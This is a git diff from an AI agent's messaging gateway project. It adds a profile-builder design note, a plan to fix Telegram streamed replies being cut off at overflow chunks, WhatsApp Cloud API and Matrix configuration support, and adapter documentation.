+| Skills (hub) | SkillsPage | `/api/skills/hub/search`, `/api/skills/hub/install` | **only via subprocess** — see seam #1 |
+
+## Two architectural seams found while grounding this design
+
+These are load-bearing — they change the implementation, not just the polish.
+
+### Seam #1 — hub-skill install cannot use the HERMES_HOME override
+
+`tools/skills_hub.py` binds `SKILLS_DIR = HERMES_HOME / "skills"` at **module
+import time**. The context-local `set_hermes_home_override()` swap (which makes
+`_write_profile_model` and the MCP write land in the target profile) does NOT
+retroactively rebind that already-imported module global. So a data-layer wrap
+of hub install would write into the dashboard's *own* active profile, not the
+new one.
+
+The correct mechanism is the existing subprocess path: `_spawn_hermes_action`
+runs `python -m hermes_cli.main `, and `_apply_profile_override()`
+re-reads `sys.argv` at import in the fresh child. Prepend `-p `:
+
+```python
+_spawn_hermes_action(["-p", profile, "skills", "install", identifier], "skills-install")
+```
+
+A fresh subprocess re-imports `skills_hub` with the profile's HERMES_HOME bound
+from the start, so `SKILLS_DIR` resolves to `/skills/`. Correct by
+construction.
+
+### Seam #2 — hub installs are async, so create cannot be fully atomic
+
+Built-in/optional skill enabling and MCP writes are **synchronous config ops**
+and can be part of the create call. Hub installs are long-running git fetches
+spawned detached (`_spawn_hermes_action` returns a PID immediately). So the
+create flow is:
+
+1. `create_profile()` — make the dir (synchronous)
+2. write model (synchronous, HERMES_HOME override)
+3. write selected MCP servers (synchronous, HERMES_HOME override)
+4. seed/enable selected built-in + optional skills (synchronous)
+5. spawn `hermes -p skills install ` per hub skill (async, returns PIDs)
+
+Steps 1–4 commit before the response; step 5 returns a list of action PIDs the
+UI polls (same pattern as today's SkillsPage hub install). The builder's
+"Review → Create" returns `{ok, name, path, hub_installs: [{id, pid}]}` and the
+final screen shows live install progress for the hub skills.
+
+## Proposed backend change (small, follows existing patterns)
+
+Extend `ProfileCreate` and the create endpoint — no new endpoints, no rewrite:
+
+```python
+class ProfileCreate(BaseModel):
+ name: str
+ clone_from_default: bool = False
+ clone_all: bool = False
+ no_skills: bool = False
+ description: Optional[str] = None
+ provider: Optional[str] = None
+ model: Optional[str] = None
+ # NEW — all optional, all best-effort post-create (profile already exists)
+ mcp_servers: List[MCPServerCreate] = [] # synchronous, HERMES_HOME override
+ builtin_skills: List[str] = [] # synchronous enable/seed
+ hub_skills: List[str] = [] # async spawn, returns PIDs
+```
+
+The endpoint already does best-effort post-create steps (`seed_profile_skills`,
+`_write_profile_model`). Add two more best-effort blocks (MCP write, hub-skill
+spawn) in the same style — a failure in any of them must not 500 the create,
+since the profile dir already exists and the user can fix it from the relevant
+page afterward. Mirror `_write_profile_model`'s HERMES_HOME-override helper for
+the MCP write (`_write_profile_mcp_servers(profile_dir, servers)`).
+
+## Proposed frontend — dedicated builder page `/profiles/new`
+
+A full page (not the cramped modal), stepped, each step reusing the existing
+page's component + API, targeted at the new profile:
+
+```
+① Identity Name + Description (+ optional clone-from existing profile)
+② Model Provider + model picker (reuse ModelsPage picker)
+③ Skills Tabs: Built-in · Optional · Hub-search
+ multi-select; "Start from default bundle" preset button
+④ MCPs Tabs: Catalog browse · Manual add (reuse McpPage form)
+⑤ Review Blueprint preview → Create
+ → progress screen for async hub installs
+```
+
+Nothing writes to disk until ⑤.
+
+## Open product decisions (need Teknium)
+
+1. **Skills seeding default.** Fresh profiles auto-seed the default bundle
+ today. In the builder, should the skill step **replace** the bundle (pick
+ exactly what you want; offer a "start from default bundle" preset) or
+ **augment** it? Recommendation: replace + preset button.
+
+2. **Page vs richer modal.** Dedicated `/profiles/new` page (room to grow:
+ SOUL editing, multi-agent fleets later) vs a bigger create modal on
+ ProfilesPage. Recommendation: dedicated page — matches "full-featured / way
+ more options."
+
+## Verification plan (when built)
+
+- Backend E2E with isolated HERMES_HOME: POST a full create body
+ (name + model + 2 MCPs + 3 builtin skills + 1 hub skill), assert the new
+ profile dir has the model in config.yaml, both MCP servers in config.yaml,
+ the builtin skills enabled, and a spawned PID for the hub skill. Negative:
+ a bad MCP entry must not 500 the create.
+- `cd web && npm run build` (no JS test suite in web/).
+- Targeted: `pytest tests/ -k profile_create`.
diff --git a/docs/plans/2026-06-09-003-fix-telegram-stream-overflow-continuations-plan.md b/docs/plans/2026-06-09-003-fix-telegram-stream-overflow-continuations-plan.md
new file mode 100644
index 000000000000..cd533ea49b75
--- /dev/null
+++ b/docs/plans/2026-06-09-003-fix-telegram-stream-overflow-continuations-plan.md
@@ -0,0 +1,240 @@
+---
+title: "fix: Prevent Telegram streamed replies from ending after first overflow chunk"
+status: active
+date: 2026-06-09
+type: fix
+target_repo: hermes-agent
+origin: user-reported Telegram topic screenshot
+---
+
+# fix: Prevent Telegram streamed replies from ending after first overflow chunk
+
+## Summary
+
+Fix a Telegram gateway bug where a long streamed assistant reply can appear to stop mid-answer in a topic after the first overflow chunk. The reported screenshot shows a long Hermes response in the `Nehemiah - Coding` Telegram topic ending at `- The visible tool-call summary`, followed by the user noting that the previous message did not finish streaming to that Telegram topic.
+
+The plan targets the streamed edit overflow path, not general model generation. A completed assistant response must either reach Telegram in full across all continuation messages or leave enough state for the gateway fallback path to deliver the remaining content instead of marking the turn complete after a partial delivery.
+
+---
+
+## Problem Frame
+
+Telegram limits message text to 4096 UTF-16 code units. Hermes streams gateway responses by editing a message and, when a streamed message grows past the limit, splitting the overflow into additional Telegram messages. The adapter already has a split-and-deliver path for oversized edits, but the partial-continuation failure contract is weak: if chunk 1 is edited successfully and a later continuation fails, the adapter can still report success for the operation. The stream consumer may then mark the final response delivered even though the visible topic only contains the first part.
+
+This is especially visible in Telegram forum topics because a long final response can be split below tool-progress bubbles, and a missing continuation looks exactly like the stream stopped mid-answer.
+
+---
+
+## Requirements
+
+- R1. Long streamed Telegram replies must preserve all final content across overflow chunks.
+- R2. If any continuation chunk fails after the first overflow edit lands, the gateway must not mark the final response as fully delivered.
+- R3. Continuation chunks must remain routed to the same Telegram topic/thread as the original response.
+- R4. The fix must avoid duplicate full-answer sends when all overflow chunks were delivered successfully.
+- R5. Tests must cover the reported failure shape: a final streamed reply that exceeds Telegram's limit, succeeds on the first edit, fails on a continuation, and must not be treated as complete.
+
+---
+
+## Key Technical Decisions
+
+- Treat overflow delivery as all-or-not-complete. `_edit_overflow_split` should only return a successful final-delivery result when every planned chunk reaches Telegram. Partial delivery is a distinct outcome that downstream code can recover from.
+- Carry partial-overflow metadata through `SendResult.raw_response` rather than adding a new public dataclass field unless implementation proves the existing result shape is insufficient. The stream consumer already inspects `SendResult` after adapter edits, so a small raw response contract can keep the change contained.
+- Make the stream consumer responsible for final-delivery truth. The adapter knows which chunks landed, but the consumer owns `_final_response_sent`, `_final_content_delivered`, `_fallback_prefix`, and fallback final-send behaviour.
+- Keep routing inside Telegram adapter helpers. Continuation sends should continue to use `_thread_kwargs_for_send(...)` with metadata-derived `message_thread_id` and reply anchors so forum topic behaviour stays consistent.
+
+---
+
+## High-Level Technical Design
+
+```mermaid
+sequenceDiagram
+ participant C as GatewayStreamConsumer
+ participant T as TelegramAdapter.edit_message
+ participant B as Telegram Bot API
+
+ C->>T: finalize/edit long accumulated response
+ T->>B: edit original message with chunk 1
+ loop remaining chunks
+ T->>B: send continuation in same topic/thread
+ end
+ alt all chunks delivered
+ T-->>C: success, last message id, continuation ids
+ C->>C: mark final response delivered
+ else any continuation failed
+ T-->>C: partial overflow failure with delivered prefix metadata
+ C->>C: do not mark final delivered
+ C->>B: fallback sends missing tail or full final response safely
+ end
+```
+
+---
+
+## Implementation Units
+
+### U1. Add a partial-overflow contract for Telegram edit splits
+
+**Goal:** Make `TelegramAdapter._edit_overflow_split` distinguish complete overflow delivery from partial delivery.
+
+**Requirements:** R1, R2, R4
+
+**Dependencies:** None
+
+**Files:**
+- `gateway/platforms/telegram.py`
+- `tests/gateway/test_telegram_send.py` or the existing Telegram adapter test module that already covers `edit_message` overflow behaviour
+
+**Approach:**
+- Keep the successful path unchanged when every chunk is delivered: return `SendResult(success=True, message_id=, continuation_message_ids=(...))`.
+- When a continuation fails after the first edit, return a result that clearly indicates partial delivery instead of plain success. Prefer `success=False`, `retryable=True`, and `raw_response` metadata such as delivered chunk count, total chunk count, last delivered message id, and the visible delivered prefix.
+- Preserve logging, but do not rely on logs as the only signal. The caller must be able to tell partial delivery happened.
+- Ensure the first edited chunk and all successful continuation chunks still include the existing Markdown/plain-text fallback behaviour.
+
+**Patterns to follow:**
+- Existing overflow handling in `TelegramAdapter.edit_message` and `_edit_overflow_split`.
+- Existing `SendResult` semantics in `gateway/platforms/base.py`, especially `retryable`, `raw_response`, and `continuation_message_ids`.
+
+**Test scenarios:**
+- Oversized finalized edit where all continuations succeed returns success, the last continuation id, and all continuation ids.
+- Oversized finalized edit where the first continuation send fails returns a partial-overflow failure and does not report success.
+- Oversized finalized edit where one continuation succeeds and a later continuation fails reports the last delivered continuation id and delivered count in raw metadata.
+- A continuation MarkdownV2 formatting failure still retries plain text before being treated as a delivery failure.
+
+**Verification:** Adapter tests prove complete overflow remains successful and partial overflow is observable by the caller.
+
+### U2. Teach the stream consumer to recover from partial overflow
+
+**Goal:** Ensure a partial Telegram overflow does not set `_final_response_sent` or `_final_content_delivered` unless the full response reached the user.
+
+**Requirements:** R1, R2, R4, R5
+
+**Dependencies:** U1
+
+**Files:**
+- `gateway/stream_consumer.py`
+- `tests/gateway/test_stream_consumer.py` or a focused new `tests/gateway/test_stream_consumer_telegram_overflow.py`
+
+**Approach:**
+- In `_send_or_edit`, when `adapter.edit_message(...)` returns a partial-overflow failure, update consumer state to reflect the last visible prefix/message and enter fallback delivery for the missing content.
+- Avoid treating `_already_sent` as final delivery. A partial visible message can be true while final delivery is false.
+- Use the delivered-prefix metadata if available so `_send_fallback_final(...)` sends only the missing tail. If implementation finds the prefix is unreliable after Markdown formatting, prefer sending the complete final response as a fresh fallback message rather than silently dropping the tail.
+- Keep the existing success handling for `continuation_message_ids` when the adapter delivered all chunks.
+
+**Patterns to follow:**
+- Existing fallback mode in `GatewayStreamConsumer._send_or_edit` and `_send_fallback_final`.
+- Existing comments around `_final_response_sent`, `_final_content_delivered`, and `_fallback_prefix` for prior partial-delivery regressions.
+
+**Test scenarios:**
+- A final streamed response that overflows and receives a complete-success edit split sets final-delivery flags and does not invoke fallback.
+- A final streamed response whose adapter reports partial overflow does not set final-delivery flags immediately.
+- After partial overflow, fallback delivery sends the remaining tail and then marks final content delivered only if the fallback send succeeds.
+- If fallback delivery also fails, the consumer leaves final-delivery false so the gateway's non-streaming final-send safety path can still run.
+
+**Verification:** Stream consumer tests reproduce the screenshot shape by simulating first chunk visible and continuation failure, then assert the final answer is not suppressed.
+
+### U3. Preserve Telegram topic/thread routing for overflow and fallback continuations
+
+**Goal:** Ensure overflow recovery messages land in the same Telegram forum topic or DM topic fallback context.
+
+**Requirements:** R3
+
+**Dependencies:** U1, U2
+
+**Files:**
+- `gateway/platforms/telegram.py`
+- `gateway/stream_consumer.py`
+- `tests/gateway/test_stream_consumer_thread_routing.py`
+- Relevant Telegram adapter routing tests, if existing coverage is closer there
+
+**Approach:**
+- Keep passing `metadata` through every overflow continuation and fallback send.
+- Keep reply anchors where valid, but do not let a missing reply anchor drop the `message_thread_id` for normal forum topics.
+- For private DM topic fallback metadata, preserve the existing stricter anchor behaviour documented in the adapter comments.
+
+**Patterns to follow:**
+- `TelegramAdapter._thread_kwargs_for_send(...)`.
+- Existing tests around Telegram topic recovery and stream consumer thread routing.
+
+**Test scenarios:**
+- Overflow continuations include `message_thread_id` for a forum topic.
+- A continuation retry after `reply message not found` keeps forum topic routing when allowed.
+- Partial-overflow fallback sends receive the same metadata passed to the original stream consumer.
+
+**Verification:** Thread-routing assertions inspect fake bot calls and confirm all continuation/fallback messages carry the expected topic metadata.
+
+### U4. Add issue evidence and PR body traceability
+
+**Goal:** Make the upstream issue and PR clearly trace the user-visible bug and verification evidence.
+
+**Requirements:** R5
+
+**Dependencies:** U1, U2, U3
+
+**Files:**
+- GitHub issue body created via `gh issue create`
+- PR body using `.github/PULL_REQUEST_TEMPLATE.md`
+
+**Approach:**
+- Create a GitHub issue with the screenshot evidence: the long message in the `Nehemiah - Coding` Telegram topic stops at `- The visible tool-call summary`, and the user's reply says the previous message did not finish streaming to that Telegram topic.
+- Reference affected component as Gateway and platform as Telegram.
+- In the PR body, link the issue with `Fixes #...`, describe the split-delivery contract change, and include the screenshot or attach it if GitHub upload is available.
+- Follow `CONTRIBUTING.md` and the repository PR template exactly.
+
+**Patterns to follow:**
+- `.github/ISSUE_TEMPLATE/bug_report.yml`
+- `.github/PULL_REQUEST_TEMPLATE.md`
+
+**Test scenarios:**
+- Test expectation: none, this is tracker and PR documentation work.
+
+**Verification:** The GitHub issue exists with screenshot evidence or an explicit screenshot reference, and the PR body links the issue and lists the tests run.
+
+---
+
+## Scope Boundaries
+
+### In Scope
+
+- Telegram streamed response overflow splitting and recovery.
+- Stream consumer final-delivery truth for partial overflow delivery.
+- Topic/thread metadata preservation for overflow and fallback continuation sends.
+- Focused unit tests around adapter and stream consumer behaviour.
+
+### Out of Scope
+
+- Changing model streaming semantics in `run_agent.py`.
+- Reworking Telegram draft streaming, which is DM-only and not the forum-topic path in the screenshot.
+- Changing general platform message splitting for Discord, Slack, WhatsApp, or Matrix unless a shared helper must be corrected for the Telegram fix.
+- Altering tool-progress display settings or terminal progress rendering.
+
+### Deferred to Follow-Up Work
+
+- Broader observability for gateway delivery completeness across all messaging platforms.
+- A user-facing resend/recover command for a previous truncated response.
+
+---
+
+## Risks & Mitigations
+
+- Risk: fallback recovery duplicates already-visible first chunks. Mitigation: use delivered-prefix metadata where reliable and add tests for no-duplicate complete-success behaviour.
+- Risk: preserving forum topic routing while dropping invalid reply anchors is easy to regress. Mitigation: include fake bot call assertions for `message_thread_id` and reply behaviour.
+- Risk: MarkdownV2 formatting can alter visible/raw prefix comparisons. Mitigation: keep fallback conservative; duplicate content is preferable to silently missing content, but tests should keep the common path tail-only.
+
+---
+
+## Sources & Research
+
+- User-provided screenshot at `/root/.hermes/image_cache/img_f664e68f6ddf.jpg`.
+- `gateway/stream_consumer.py` streamed edit, overflow, fallback, and final-delivery state handling.
+- `gateway/platforms/telegram.py` Telegram send/edit overflow splitting and topic routing helpers.
+- `gateway/platforms/base.py` `SendResult` contract and shared message chunking helper.
+- `tests/gateway/test_stream_consumer.py`, `tests/gateway/test_stream_consumer_thread_routing.py`, and Telegram adapter tests for focused regression coverage.
+
+---
+
+## Verification Strategy
+
+- Run focused Telegram adapter overflow tests.
+- Run focused stream consumer overflow/fallback tests.
+- Run topic-routing tests affected by metadata changes.
+- Run the gateway test subset around Telegram send/edit, stream consumer, and run progress if touched.
+- Before PR creation, ensure `git diff` contains only the plan, implementation, tests, and PR/issue-relevant documentation for this bug.
diff --git a/gateway/authz_mixin.py b/gateway/authz_mixin.py
index b98118eb5d6c..824d730871c0 100644
--- a/gateway/authz_mixin.py
+++ b/gateway/authz_mixin.py
@@ -142,6 +142,7 @@ def _is_user_authorized(self, source: SessionSource) -> bool:
Platform.TELEGRAM: "TELEGRAM_ALLOWED_USERS",
Platform.DISCORD: "DISCORD_ALLOWED_USERS",
Platform.WHATSAPP: "WHATSAPP_ALLOWED_USERS",
+ Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOWED_USERS",
Platform.SLACK: "SLACK_ALLOWED_USERS",
Platform.SIGNAL: "SIGNAL_ALLOWED_USERS",
Platform.EMAIL: "EMAIL_ALLOWED_USERS",
@@ -168,6 +169,7 @@ def _is_user_authorized(self, source: SessionSource) -> bool:
Platform.TELEGRAM: "TELEGRAM_ALLOW_ALL_USERS",
Platform.DISCORD: "DISCORD_ALLOW_ALL_USERS",
Platform.WHATSAPP: "WHATSAPP_ALLOW_ALL_USERS",
+ Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOW_ALL_USERS",
Platform.SLACK: "SLACK_ALLOW_ALL_USERS",
Platform.SIGNAL: "SIGNAL_ALLOW_ALL_USERS",
Platform.EMAIL: "EMAIL_ALLOW_ALL_USERS",
@@ -207,6 +209,14 @@ def _is_user_authorized(self, source: SessionSource) -> bool:
if platform_allow_all_var and os.getenv(platform_allow_all_var, "").lower() in {"true", "1", "yes"}:
return True
+ # Adapter-verified role auth: the Discord adapter already confirmed the
+ # user holds a role in DISCORD_ALLOWED_ROLES before dispatching the message.
+ # Compare with ``is True`` so the real bool field authorizes while a
+ # MagicMock source (test fixtures using ``object.__new__`` runners with
+ # mock sources) does not auto-truthy through this gate (see pitfall #13).
+ if getattr(source, "role_authorized", False) is True:
+ return True
+
if getattr(source, "is_bot", False):
allow_bots_var = platform_allow_bots_map.get(source.platform)
if allow_bots_var and os.getenv(allow_bots_var, "none").lower().strip() in {"mentions", "all"}:
@@ -393,6 +403,7 @@ def _get_unauthorized_dm_behavior(self, platform: Optional[Platform]) -> str:
Platform.TELEGRAM: "TELEGRAM_ALLOWED_USERS",
Platform.DISCORD: "DISCORD_ALLOWED_USERS",
Platform.WHATSAPP: "WHATSAPP_ALLOWED_USERS",
+ Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOWED_USERS",
Platform.SLACK: "SLACK_ALLOWED_USERS",
Platform.SIGNAL: "SIGNAL_ALLOWED_USERS",
Platform.EMAIL: "EMAIL_ALLOWED_USERS",
diff --git a/gateway/config.py b/gateway/config.py
index 33df3b1acffa..f11146e606ad 100644
--- a/gateway/config.py
+++ b/gateway/config.py
@@ -145,6 +145,7 @@ class Platform(Enum):
TELEGRAM = "telegram"
DISCORD = "discord"
WHATSAPP = "whatsapp"
+ WHATSAPP_CLOUD = "whatsapp_cloud"
SLACK = "slack"
SIGNAL = "signal"
MATTERMOST = "mattermost"
@@ -462,6 +463,9 @@ def from_dict(cls, data: Dict[str, Any]) -> "StreamingConfig":
cfg.extra.get("account_id") and (cfg.token or cfg.extra.get("token"))
),
Platform.WHATSAPP: lambda cfg: True, # bridge handles auth
+ Platform.WHATSAPP_CLOUD: lambda cfg: bool(
+ cfg.extra.get("phone_number_id") and cfg.extra.get("access_token")
+ ),
Platform.SIGNAL: lambda cfg: bool(cfg.extra.get("http_url")),
Platform.EMAIL: lambda cfg: bool(cfg.extra.get("address")),
Platform.SMS: lambda cfg: bool(os.getenv("TWILIO_ACCOUNT_SID")),
@@ -1218,17 +1222,30 @@ def _merge_platform_map(source_platforms: Any) -> None:
if isinstance(matrix_cfg, dict):
if "require_mention" in matrix_cfg and not os.getenv("MATRIX_REQUIRE_MENTION"):
os.environ["MATRIX_REQUIRE_MENTION"] = str(matrix_cfg["require_mention"]).lower()
+ allowed_users = matrix_cfg.get("allowed_users")
+ if allowed_users is not None and not os.getenv("MATRIX_ALLOWED_USERS"):
+ if isinstance(allowed_users, list):
+ allowed_users = ",".join(str(v) for v in allowed_users)
+ os.environ["MATRIX_ALLOWED_USERS"] = str(allowed_users)
+ allowed_rooms = matrix_cfg.get("allowed_rooms")
+ if allowed_rooms is not None and not os.getenv("MATRIX_ALLOWED_ROOMS"):
+ if isinstance(allowed_rooms, list):
+ allowed_rooms = ",".join(str(v) for v in allowed_rooms)
+ os.environ["MATRIX_ALLOWED_ROOMS"] = str(allowed_rooms)
frc = matrix_cfg.get("free_response_rooms")
if frc is not None and not os.getenv("MATRIX_FREE_RESPONSE_ROOMS"):
if isinstance(frc, list):
frc = ",".join(str(v) for v in frc)
os.environ["MATRIX_FREE_RESPONSE_ROOMS"] = str(frc)
- # allowed_rooms: if set, bot ONLY responds in these rooms (whitelist)
- ar = matrix_cfg.get("allowed_rooms")
- if ar is not None and not os.getenv("MATRIX_ALLOWED_ROOMS"):
- if isinstance(ar, list):
- ar = ",".join(str(v) for v in ar)
- os.environ["MATRIX_ALLOWED_ROOMS"] = str(ar)
+ ignore_patterns = matrix_cfg.get("ignore_user_patterns")
+ if ignore_patterns is not None and not os.getenv("MATRIX_IGNORE_USER_PATTERNS"):
+ if isinstance(ignore_patterns, list):
+ ignore_patterns = ",".join(str(v) for v in ignore_patterns)
+ os.environ["MATRIX_IGNORE_USER_PATTERNS"] = str(ignore_patterns)
+ if "process_notices" in matrix_cfg and not os.getenv("MATRIX_PROCESS_NOTICES"):
+ os.environ["MATRIX_PROCESS_NOTICES"] = str(matrix_cfg["process_notices"]).lower()
+ if "session_scope" in matrix_cfg and not os.getenv("MATRIX_SESSION_SCOPE"):
+ os.environ["MATRIX_SESSION_SCOPE"] = str(matrix_cfg["session_scope"]).lower()
if "auto_thread" in matrix_cfg and not os.getenv("MATRIX_AUTO_THREAD"):
os.environ["MATRIX_AUTO_THREAD"] = str(matrix_cfg["auto_thread"]).lower()
if "dm_mention_threads" in matrix_cfg and not os.getenv("MATRIX_DM_MENTION_THREADS"):
@@ -1416,6 +1433,61 @@ def _enable_from_env(platform: Platform) -> PlatformConfig:
thread_id=os.getenv("WHATSAPP_HOME_CHANNEL_THREAD_ID") or None,
)
+ # WhatsApp Cloud API (official Business Platform via Meta).
+ # Distinct from the Baileys bridge: pure HTTP graph.facebook.com calls
+ # outbound, public webhook inbound. Both adapters can run in parallel
+ # against different phone numbers.
+ whatsapp_cloud_phone_id = os.getenv("WHATSAPP_CLOUD_PHONE_NUMBER_ID")
+ whatsapp_cloud_token = os.getenv("WHATSAPP_CLOUD_ACCESS_TOKEN")
+ if whatsapp_cloud_phone_id and whatsapp_cloud_token:
+ if Platform.WHATSAPP_CLOUD not in config.platforms:
+ config.platforms[Platform.WHATSAPP_CLOUD] = PlatformConfig()
+ config.platforms[Platform.WHATSAPP_CLOUD].enabled = True
+ config.platforms[Platform.WHATSAPP_CLOUD].extra.update({
+ "phone_number_id": whatsapp_cloud_phone_id,
+ "access_token": whatsapp_cloud_token,
+ })
+ # Optional: app_id / app_secret (signature verification)
+ wa_cloud_app_id = os.getenv("WHATSAPP_CLOUD_APP_ID")
+ if wa_cloud_app_id:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["app_id"] = wa_cloud_app_id
+ wa_cloud_app_secret = os.getenv("WHATSAPP_CLOUD_APP_SECRET")
+ if wa_cloud_app_secret:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["app_secret"] = wa_cloud_app_secret
+ # Optional: WABA id (analytics, future use)
+ wa_cloud_waba_id = os.getenv("WHATSAPP_CLOUD_WABA_ID")
+ if wa_cloud_waba_id:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["waba_id"] = wa_cloud_waba_id
+ # Webhook verify token — Meta hub.verify_token shared secret
+ wa_cloud_verify_token = os.getenv("WHATSAPP_CLOUD_VERIFY_TOKEN")
+ if wa_cloud_verify_token:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["verify_token"] = wa_cloud_verify_token
+ # Webhook server bind config (defaults baked into the adapter)
+ wa_cloud_host = os.getenv("WHATSAPP_CLOUD_WEBHOOK_HOST")
+ if wa_cloud_host:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_host"] = wa_cloud_host
+ wa_cloud_port = os.getenv("WHATSAPP_CLOUD_WEBHOOK_PORT")
+ if wa_cloud_port:
+ try:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_port"] = int(wa_cloud_port)
+ except ValueError:
+ pass
+ wa_cloud_path = os.getenv("WHATSAPP_CLOUD_WEBHOOK_PATH")
+ if wa_cloud_path:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_path"] = wa_cloud_path
+ # Graph API version override (rarely needed)
+ wa_cloud_api_version = os.getenv("WHATSAPP_CLOUD_API_VERSION")
+ if wa_cloud_api_version:
+ config.platforms[Platform.WHATSAPP_CLOUD].extra["api_version"] = wa_cloud_api_version
+ whatsapp_cloud_home = os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL")
+ if whatsapp_cloud_home and Platform.WHATSAPP_CLOUD in config.platforms:
+ config.platforms[Platform.WHATSAPP_CLOUD].home_channel = HomeChannel(
+ platform=Platform.WHATSAPP_CLOUD,
+ chat_id=whatsapp_cloud_home,
+ name=os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL_NAME", "Home"),
+ thread_id=os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL_THREAD_ID") or None,
+ )
+
# Slack
slack_token = os.getenv("SLACK_BOT_TOKEN")
if slack_token:
@@ -1497,8 +1569,14 @@ def _enable_from_env(platform: Platform) -> PlatformConfig:
matrix_password = os.getenv("MATRIX_PASSWORD", "")
if matrix_password:
matrix_config.extra["password"] = matrix_password
- matrix_e2ee = os.getenv("MATRIX_ENCRYPTION", "").lower() in {"true", "1", "yes"}
+ matrix_e2ee_mode = os.getenv("MATRIX_E2EE_MODE", "").strip().lower()
+ matrix_e2ee = (
+ matrix_e2ee_mode in ("required", "require", "optional", "prefer", "preferred")
+ or os.getenv("MATRIX_ENCRYPTION", "").lower() in ("true", "1", "yes")
+ )
matrix_config.extra["encryption"] = matrix_e2ee
+ if matrix_e2ee_mode:
+ matrix_config.extra["e2ee_mode"] = matrix_e2ee_mode
matrix_device_id = os.getenv("MATRIX_DEVICE_ID", "")
if matrix_device_id:
matrix_config.extra["device_id"] = matrix_device_id
diff --git a/gateway/display_config.py b/gateway/display_config.py
index 6286ade2be70..5daab9f23c95 100644
--- a/gateway/display_config.py
+++ b/gateway/display_config.py
@@ -123,6 +123,12 @@
# Tier 3 — no edit support, progress messages are permanent
"signal": _TIER_LOW,
"whatsapp": _TIER_MEDIUM, # Baileys bridge supports /edit
+ # WhatsApp Cloud API: Meta added message editing in 2023 but the
+ # Hermes Cloud adapter doesn't implement edit_message yet, so we
+ # stay on TIER_LOW (tool_progress off) to avoid spamming each
+ # status update as a separate message. Promote to TIER_MEDIUM once
+ # Cloud's edit_message lands.
+ "whatsapp_cloud": _TIER_LOW,
"bluebubbles": _TIER_LOW,
"weixin": _TIER_LOW,
"wecom": _TIER_LOW,
diff --git a/gateway/platforms/ADDING_A_PLATFORM.md b/gateway/platforms/ADDING_A_PLATFORM.md
index c373b9fa0b90..e3b84fecaebf 100644
--- a/gateway/platforms/ADDING_A_PLATFORM.md
+++ b/gateway/platforms/ADDING_A_PLATFORM.md
@@ -52,6 +52,22 @@ for the full pattern (Template Buttons postback at 45s, `RequestCache`
state machine, `interrupt_session_activity` override for `/stop`
orphans) and the developer-guide page for the prose walkthrough.
+**Sibling adapters that share behavior.** When a single platform has
+two transport modes the user picks between — unofficial vs official
+APIs, polling vs websocket, library A vs library B — the right
+structure is two adapters that share a behavior mixin. WhatsApp does
+this: `gateway/platforms/whatsapp.py` (Baileys bridge) and
+`gateway/platforms/whatsapp_cloud.py` (Meta Cloud API) both inherit
+from `WhatsAppBehaviorMixin` in `gateway/platforms/whatsapp_common.py`.
+The mixin owns gating, allow-lists, mention parsing, broadcast
+filters, and the WhatsApp-flavored markdown conversion — everything
+that's platform-protocol-agnostic. Each adapter owns its transport.
+Both register distinct `Platform.*` enum values so the gateway can run
+both simultaneously against different phone numbers. The mixin must
+come **first** in the bases list — `class WhatsAppAdapter(Mixin,
+BasePlatformAdapter)` — so the mixin's `format_message` overrides
+`BasePlatformAdapter`'s generic default.
+
See `plugins/platforms/irc/`, `plugins/platforms/teams/`, and
`plugins/platforms/google_chat/` for complete working examples, and
`website/docs/developer-guide/adding-platform-adapters.md` for the full
@@ -94,6 +110,19 @@ The adapter is a subclass of `BasePlatformAdapter` from `gateway/platforms/base.
| `send_animation(chat_id, path, caption)` | Send a GIF/animation |
| `send_image_file(chat_id, path, caption)` | Send image from local file |
+### Interactive UX (recommended if your platform supports tappable buttons)
+
+If your platform supports interactive button/menu messages, implement these for a more polished agent experience. They all degrade gracefully to plain text when not overridden:
+
+| Method | Purpose |
+|--------|---------|
+| `send_clarify(chat_id, question, choices, clarify_id, session_key, ...)` | Render the `clarify` tool's multi-choice question as tappable buttons. Pair with inbound dispatch that routes button taps to `tools.clarify_gateway.resolve_gateway_clarify`. |
+| `send_exec_approval(chat_id, command, session_key, description, ...)` | Render dangerous-command approval as Approve/Deny buttons. Inbound dispatch routes to `tools.approval.resolve_gateway_approval`. |
+| `send_slash_confirm(chat_id, title, message, session_key, confirm_id, ...)` | Render slash-command confirmations (e.g. `/reload-mcp`) as Once/Always/Cancel buttons. Inbound dispatch routes to `tools.slash_confirm.resolve`. |
+| `send_model_picker(...)` | Interactive `/model` picker. Used by Telegram and Discord. |
+
+See `gateway/platforms/telegram.py`, `discord.py`, and `whatsapp_cloud.py` for reference implementations. The button-callback id convention (`cl::`, `appr::`, `sc::`) is shared across adapters — match it so the gateway-side resolvers work without modification.
+
### Required function
```python
diff --git a/gateway/platforms/base.py b/gateway/platforms/base.py
index 50ca91df2633..b9273e7cca0c 100644
--- a/gateway/platforms/base.py
+++ b/gateway/platforms/base.py
@@ -33,6 +33,7 @@
# delivered as a regular document.
_TELEGRAM_AUDIO_ATTACHMENT_EXTS = frozenset({'.mp3', '.m4a'})
_TELEGRAM_VOICE_EXTS = frozenset({'.ogg', '.opus'})
+_POST_DELIVERY_CALLBACK_TIMEOUT_SECONDS = 30.0
def _platform_name(platform) -> str:
@@ -1544,6 +1545,13 @@ class SendResult:
message_id: Optional[str] = None
error: Optional[str] = None
raw_response: Any = None
+ # Adapter-specific metadata. Cross-layer contracts that affect delivery
+ # semantics must be documented at the producer and consumer sites. Current
+ # known contract: Telegram edit overflow partials set
+ # raw_response["partial_overflow"] with delivered_chunks, total_chunks,
+ # last_message_id, delivered_prefix, and continuation_message_ids so the
+ # stream consumer can send the missing tail instead of marking a clipped
+ # response complete.
retryable: bool = False # True for transient connection errors — base will retry automatically
# When the adapter had to split an oversized payload across multiple
# platform messages (e.g. Telegram edit_message overflow split-and-deliver),
@@ -1803,6 +1811,18 @@ class BasePlatformAdapter(ABC):
# preview (see gateway/run.py progress_callback).
